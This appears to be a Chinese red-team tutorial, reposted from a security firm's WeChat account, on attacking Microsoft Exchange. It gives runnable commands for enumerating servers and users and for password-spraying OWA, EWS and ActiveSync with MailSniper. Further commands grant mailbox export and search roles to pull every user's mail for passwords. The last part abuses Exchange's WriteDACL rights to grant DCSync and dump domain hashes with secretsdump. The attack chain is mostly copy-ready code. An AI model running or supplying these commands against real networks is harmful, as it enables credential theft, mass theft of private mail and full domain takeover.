连载:红队知识体系梳理-exchange利用
2023-5-23 00:2:39 Author: 白帽子(查看原文) 阅读量:56 收藏

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

exchange识别

发现exchange service机器,识别版本信息

定位exchange机器

  • SPN

通过查询spn消息主体定位exchange机器

setspn -Q */*

  • ldap

通过ldap查询exchange机器

# 查询exchange spn
AdFind.exe -h 192.168.10.250 -b "DC=qaq,DC=com" -f "|(ServicePrincipalName=exchange*)(ServicePrincipalName=smtp*)(ServicePrincipalName=imap*)(ServicePrincipalName=pop*)" ServicePrincipalName

# 查询Exchange Servers组
AdFind.exe -h 192.168.10.250 -b "DC=qaq,DC=com" -bit -f (memberof:INCHAIN:="CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com") memberof

  • 扫描25,443,465,587,2525端口

smtp、pop3、imap等服务banner信息中具有Microsoft特征

识别exchange版本

  • Exchange版本确定

owa界面的HTML代码中会显示Exchange的版本号,可以看到15.0.516为内部版本号

在微软文档上查询对应的版本
https://learn.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

邮箱爆破

exchange因为官方设计的缘故,无法加验证码进行防爆破,有多个接口可供暴力破解。例如通过OWA、EWS、autodiscover、 Microsoft-Server-ActiveSync等接口进行爆破。除了exchange应用提供的接口外,也可以直接对smtp、pop3、imap等服务进行爆破。但需要注意,域用户通常会有密码锁定策略。

  • 常见的接口地址

https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/

owa:Exchange OWA 接口,邮箱的网页端,用于通过 web 应用程序访问邮件、日历、任务和联系人等。
ecp:Exchange 管理中心,管理员用于管理组织中的Exchange的Web控制台
EWS:Exchange Web Service ,实现客户端与服务端之间基于HTTP的SOAP交互
OAB:用于为 Outlook 客户端提供地址簿的副本,减轻Exchange的负担
Rpc:早期的Outlook还使用称为 Outlook Anywhere 的 RPC 交互
mapi:Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
Autodiscover:自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在 Outlook 中邮箱的相关设置,简化用户登录使用邮箱的流程。
PowerShell:用于服务器管理的 Exchange 管理控制台
Microsoft-Server-ActiveSync:用于移动应用程序访问电子邮件

获取ad域名

  • smtp服务banner信息

smtp banner 信息会返回机器名

  • 在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp 包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。/Autodiscover、/Rpc、/EWS、/OAB、/Mapi接口支持NTLM认证

nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews -p 443  192.168.10.240
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/Autodiscover -p 443 192.168.10.240

暴力枚举

几个爆破exchanger的项目
https://github.com/grayddq/EBurst.git
https://github.com/sensepost/ruler/wiki/Rules
https://github.com/dafthack/MailSniper

  • 枚举用户名

Exchange 存在基于时间的用户名枚举问题,在Exchange 2016版本中,爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应接收时间会更短。注意需要应为字典设置三种格式:domain\username、username、[email protected],Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。

也可以使用 burp 爆破 /ecp、/owa http接口,在爆破结果中根据响应结果进行排序,查看响应时间更短的用户名,即可能是存在的域用户

使用MailSniper枚举

# 使用MailSniper通过owa接口,利用响应时间的差异化获取有效用户名
Invoke-UsernameHarvestOWA -ExchHostname 192.168.10.240 -UserList .\name.txt -Domain qaq.com -Threads 1 -OutFile owa-valid-users.txt
  • 枚举用户名和密码

也可以使用burp爆破/ecp、/owa接口,用户名和密码正确会跳转到/owa/首页

使用MailSniper枚举

# 使用MailSniper对OWA接口进行枚举
Invoke-PasswordSprayOWA -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose

# 使用MailSniper对EWS接口进行枚举
Invoke-PasswordSprayEWS -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose

# 使用MailSniper对Microsoft-Server-ActiveSync接口进行枚举
Invoke-PasswordSprayEAS -ExchHostname 192.168.10.240 -UserList .\name.txt -Password Aa123456 -Threads 15 -OutFile owa-sprayed-creds.txt -Domain qaq.com -verbose

  • 直接对mail服务进行枚举

使用超级弱口令检查工具/hydra工具 对smtp、pop3、imap等服务进行爆破

信息收集

获得邮箱凭证后,可以导出全局组的邮箱列表,或检索邮件字符搜寻敏感信息。当获得管理员权限凭证后,可以向普通用户分配Mailbox Search角色,检索所有邮箱用户的邮件搜寻敏感数据,也可以分配Mailbox Import Export角色导出邮件到本地存储。

导出全局组

通过OWA接口访问邮箱,导出全局组邮箱列表,收集账户信息

  • 使用MailSniper收集邮箱账户信息

# 使用MailSniper通过owa接口收集exchange服务主机名
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com

# 使用MailSniper收集邮箱全局地址
Get-GlobalAddressList -ExchHostname 192.168.10.240 -UserName qaq\test -Password Aa123456 -OutFile gal.txt

# 获取该账户的邮箱目录,-remote是远程输入凭证
Get-MailboxFolders -Mailbox [email protected] -ExchHostname 192.168.10.240 -Remote

  • 使用impacket exchanger收集GAL

使用exchanger脚本通/RPC接口收集gal

python exchanger.py  qaq.com/admin:[email protected]192.168.10.240  nspi list-tables -count  # 获取公共组
python exchanger.py qaq.com/admin:[email protected]192.168.10.240 nspi dump-tables -guid 5c93804d-0a50-4a9b-9253-6218cff85b9b # 获取指定组的列表

导出邮件

向用户授予Mailbox Import Export角色,使用Exchange Management相关Cmdlet导出邮件。在2013版本中默认Mailbox Import Export角色只授予Organization Management管理组。在其他低版本默认不授予任何用户/组,需要先使用Organization Management管理组的用户授予指定用户导出权限

使用Get-PSSession连接exchange导出邮件

使用Get-PSSession通过powershell接口远程连接管理exchange服务,导出邮件

  • 使用Get-PSSession连接Exchange服务器

# 使用Get-PSSession通过exchange PowerShell接口连接exchange server

$User = "qaq\administrator"
$Pass = ConvertTo-SecureString -AsPlainText Aa123456 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://test1-2008.qaq.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber

Get-Mailbox # 查看MailBox数据库
Get-PSSession # 查看PSsession
Remove-PSSession $Session # 断开PSSession
  • 添加用户导出权限

# 授予Administrator用户Import Export角色
New-ManagementRoleAssignment -Name "xx" -User "Administrator" -Role "Mailbox Import Export"

# 查看具有Import Export角色的用户
Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
# 取消administrator用户的分配的角色
Remove-ManagementRoleAssignment -Identity "xx" -Confirm:$false

  • 导出邮件

注意授予导出角色后需要重新启动Powershell否则无法使用New-MailboxexportRequest命令

# 导出指定用户的邮件到unc路径。pst格式的文件使用Outlook打开
New-MailboxExportRequest -Mailbox administrator -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0

# 筛选指定用户邮件正文包含pass字符并导出
New-MailboxexportRequest -mailbox administrator -ContentFilter {(body -like "*pass*")} -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0

# 导出所有用户邮件
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -FilePath ("\\localhost\c$\"+($_.name)+".pst")}

# 筛选所有用户邮件正文包含pass字符并导出
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\"+($_.name)+".pst")}

导出成功后会自动保存导出请求的记录

# 查看邮件导出记录,导出后会自动保存导出请求的记录,默认为30天。加-CompletedRequestAgeLimit 0参数不会保存导出记录
Get-MailboxExportRequest

# 删除所有导出记录
Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

Exchange服务器管理导出邮件

登录exchange服务器,使用Exchange Management管理单元操作exchange服务并导出邮件

1.将exchangepowershell管理单元添加到当前会话窗口

注意不同Exchange版本对应的管理单元名称不同

# Exchange 2007
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
# Exchange 2010
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
# Exchange 2013 & 2016
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
# 添加所有以microsoft.exchange为前缀的管理单元
Add-pssnapin microsoft.exchange*

2.导出邮件

exchange机器默认拥有导出权限,所以不需要重新授予导出权限

New-MailboxExportRequest -Mailbox administrator -FilePath \\localhost\c$\administrator.pst -CompletedRequestAgeLimit 0

ExchangePowerShell的其他基本操作

Add-pssnapin microsoft.exchange*  # 添加管理单元

Get-Mailbox -ResultSize unlimited # 查看所有用户邮箱地址
Get-MailboxDatabase -server "test1-2008" # 查看MailBox数据库
Get-Mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime # 查看指定用户邮箱使用信息
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize # 查看全部用户邮箱使用信息
# 查看已添加到当前会话的管理单元
get-pssnapin
# 获取已在系统上注册的管理单元
Get-PSSnapin -Registered
# 添加所有已注册的管理单元
Get-PSSnapin -Registered | Add-PSSnapin -Passthru

自动化利用

https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToExportMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "administrator" -ExportPath "\\localhost\c$\" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "{`"(body -like `"*pass*`")`"}"

检索邮件内容

ews接口

通过调用ews接口操纵exchange,搜寻邮件中的敏感信息

  • 使用MailSniper调用EWS接口,检索本地邮件中的字符

检索指定邮箱数据,需要输入指定邮箱的凭证

Invoke-SelfSearch常用的检索参数:

ExchHostname:exchange服务地址
Mailbox:检索的邮箱
Terms:检索的字符串。默认会检索邮件全部内容,包括正文和title
Regex:使用正则表达式进行检索
Folder:检索的邮件目录。默认是inbox,也可以是all所有目录
ExchangeVersion:指定exchange版本,默认2010
MailsPerUser:默认检索最新的100封邮件内容
Remote:弹出新的凭据框,用于从internet访问远程EWS服务
CheckAttachments:尝试搜索电子邮件附件的内容。默认搜索以下扩展名:.bat、.htm、.msg、.pdf、.txt、.ps1、.doc和.xls。通过指定-DownloadDir参数下载这些附件
DownloadDir:指定下载目录
UsePrt:使用当前用户的PRT进行身份验证
AccessToken:使用提供的oauth访问令牌进行身份验证

# 检索指定邮箱账号的数据。检索邮件的pass字符
Invoke-SelfSearch -Mailbox [email protected] -Terms "*pass*" -Folder 收件箱 -ExchHostname 192.168.10.240 -MailsPerUser 100 -Remote -OutputCsv 11.csv
  • 使用MailSniper调用EWS接口,检索所有邮件中的字符

使用exchange管理员向普通用户分配ApplicationImpersonation角色,检索所有邮箱用户的邮件。需要输入管理员的凭证

Invoke-GlobalMailSearch常用的检索参数:

ImpersonationAccount:授予ApplicationImpersonation角色
AdminUserName:exchange管理员

# 检索所有邮箱数据
# 利用administrator管理员用户为普通用户admin分配ApplicationImpersonation角色,检索所有邮箱用户的邮件
Invoke-GlobalMailSearch -ImpersonationAccount admin -ExchHostname test1-2008 -AdminUserName qaq.com\administrator -AdminPassword Aa123456 -Term "*pass*" -Folder all -OutputCsv global-email-search.csv

powershell接口

  • 使用Get-PSSession连接Exchange服务器

# 使用Get-PSSession通过exchange PowerShell接口连接exchange server

$User = "qaq\administrator"
$Pass = ConvertTo-SecureString -AsPlainText Aa123456 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://test1-2008.qaq.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber

  • 添加搜索角色

使用Exchange Management管理单元,添加用户Mailbox Search角色

New-ManagementRoleAssignment –Role "Mailbox Search" –User administrator  # 授予administrator用户搜索角色
  • 搜索邮件

# 搜索所有包含单词pass的邮件并保存到用户admin的out文件夹
Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "admin" -TargetFolder "out" -LogLevel Suppress| Out-Null

# 搜索administrator用户中包含单词pass的邮件并保存到用户admin的out文件夹
Search-Mailbox -Identity "administrator" -SearchQuery `"*pass*`" -TargetMailbox "admin" -TargetFolder "out" -LogLevel Suppress| Out-Null

# 搜索所有邮箱用户,显示包含关键词pass的邮件的数量
Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -EstimateResultOnly

# 搜索邮箱用户test,显示包含关键词pass的邮件的数量
Search-Mailbox -Identity administrator -SearchQuery `"*pass*`" -EstimateResultOnly

自动化利用

https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToSearchMailfromExchange.ps1

# 搜素所有用户邮件pass字符,并保存在admin用户邮箱test2目录
UsePSSessionToSearchMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "All" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "*pass*" -TargetMailbox "admin" -TargetFolder "test2"

# 搜素test用户邮件pass字符,并保存在admin用户邮箱test3目录
UsePSSessionToSearchMailfromExchange -User "qaq\administrator" -Password "Aa123456" -MailBox "test" -ConnectionUri "http://test1-2008.qaq.com/PowerShell/" -Filter "*pass*" -TargetMailbox "admin" -TargetFolder "test3"

exchange日志

在获取exchange机器权限后,可以导出exchange接口的访问日志,定位域用户与IP的关系

  • IIS访问日志

默认位置

C:\inetpub\logs\LogFiles\W3SVC1(W3SVC2)

记录IIS 接口的访问日志

  • RPC日志

默认位置

C:\Program Files\Microsoft\Exchange Server\V15\Logging\RPC Client Access

MAPI连接记录在rpc日志,其他接口访问记录在IIS日志。outlook默认是MAPI连接

WriteDACL

exchange机器账户对域对象具有WriteDACL权限。exchange机器账户是Exchange Trusted Subsystem对象成员,Exchange Trusted SubsystemExchange Windows Permission对象成员,Exchange Windows Permission对象对域对象具有WriteDACL权限

可以配合Print bug或Petitpotam漏洞强制exchange机器发起NTLM请求并relay到LDAP为指定用户授予dcsync ace条目,见 4.1.1 relay exchange。当获得exchange机器权限时,同样也可以使用机器的system权限(机器账号)手动授予指定用户dscync条目

  • 使用powerview 授予用户Dscync权限

# 授予dcsync条目
powershell -exec bypass Import-Module .\powerview.ps1;"Add-DomainObjectAcl -TargetIdentity 'DC=qaq,DC=com' -PrincipalIde test4 -Rights DCSync -Verbose"

# 移除指定用户的DCSync条目
powershell -exec bypass Import-Module .\powerview.ps1;"Remove-DomainObjectAcl -TargetIdentity 'DC=qaq,DC=com' -PrincipalIde test4 -Rights DCSync -Verbose"

  • 使用提权的用户进行dcysnc:

python secretsdump.py  qaq/test4:[email protected]192.168.10.250  -dc-ip 192.168.10.250 -just-dc

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246718&idx=1&sn=ac66b01d676429d9158cc03a550d9c25&chksm=82ea5597b59ddc814ec4dae215cacb58dc1c5b2442b1e24880ca7264b69c0bf8aa037d1bb213#rd
如有侵权请联系:admin#unsafe.sh